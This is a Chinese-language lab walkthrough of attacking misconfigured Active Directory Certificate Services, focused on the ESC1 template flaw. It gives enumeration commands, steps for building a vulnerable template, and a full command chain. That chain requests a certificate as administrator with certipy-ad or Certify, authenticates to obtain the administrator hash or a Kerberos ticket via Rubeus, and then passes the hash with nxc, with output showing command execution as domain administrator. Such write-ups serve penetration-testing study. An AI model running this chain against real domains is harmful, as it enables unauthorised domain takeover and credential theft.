AD CS(Active Directory Certificate Services)它是 Microsoft Windows Server 里的一个角色,用来在企业内部搭建 PKI 公钥基础设施,也就是发放、管理和吊销数字证书,是企业身份与加密信任体系的一部分。但如果配置不当,会带来严重的安全风险。
信息枚举 windows 主要用 Certify.exe linux 用 Certipy ,kali上叫 certipy-ad
域内机器枚举
1 2 3 4 5 6 7 certutil -config - -ping certutil -CA Certify.exe cas Certify.exe find /vulnerable
域外枚举,需要一个域账号密码
1 2 3 4 5 certipy-ad find -u qq@xxx.com -p Qwer123 -dc-ip 192.168.100.126 -dc-only -stdout certipy-ad find -u qq@xxx.com -p Qwer123 -dc-ip 192.168.100.126 -dc-only -ldap-scheme ldap -stdout certipy-ad find -u qq@xxx.com -p Qwer123 -dc-ip 192.168.100.126 -vulnerable -stdout
证书模板
ESC1 to ESC3, ESC9, ESC10, ESC13, ESC14 and ESC15
ESC1-模板允许SAN 当证书模板允许指定 SAN(Subject Alternative Name,主体备用名称)时,就有可能为另一个用户申请证书。如果该证书的 EKU(扩展密钥用法) 指定了 客户端身份验证(Client Authentication)或 任意用途(ANY),则可能被用于权限提升
certtmpl.msc 打开证书模板控制台,复制一个模板
选择在请求中提供。意思是申请证书的人可以在提交证书请求时,自己指定证书里的 Subject 或 SAN(Subject Alternative Name,主体备用名称),例如 UPN、DNS 名称等
低权限用户具有 注册 权限
该证书模板签发出来的证书可用于客户端身份认证
certsrv.msc 打开证书颁发机构,在证书模板右键点击新建要颁发的证书模板,选择新复制的模板
满足利用条件后 certipy-ad 就能直接识别到 ESC1 了
使用 certipy-ad
1 2 3 4 5 6 7 certipy-ad req -u qq@xxx.com -p Qwer123 -target 192.168.100.126 -ca xxx-AA-CA -template 1 -upn administrator@xxx.com certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.100.126 certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.100.126 -ldap-shell
拿到 hash 后就可以进行 pth 等操作了
1 2 3 4 5 6 ┌──(root㉿kali)-[~] └─# nxc wmi 192.168.100.126 -u administrator --hash '91ff0fb948167eb4d080b5330686c02f' -x 'whoami' RPC 192.168.100.126 135 AA [*] Windows 10 / Server 2016 Build 14393 (name:AA) (domain:xxx.com) WMI 192.168.100.126 135 AA [+] xxx.com\administrator:91ff0fb948167eb4d080b5330686c02f (Pwn3d!) WMI 192.168.100.126 135 AA [+] Executed command : "whoami" via wmiexec WMI 192.168.100.126 135 AA xxx\administrator
使用 Certify.exe
1 2 3 4 5 6 7 8 Certify.exe request /ca:aa.xxx.com\xxx-AA-CA /template:1 /altname:administrator openssl pkcs12 -legacy -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /ptt
证书颁发机构
ESC6 and ESC12
访问控制
ESC4, ESC5 & ESC7
未签名端点
ESC8, ESC11
认证
参考文章
ADCS攻击之证书模板配置错误 ESC1 ADCS-ESC1漏洞环境构造与利用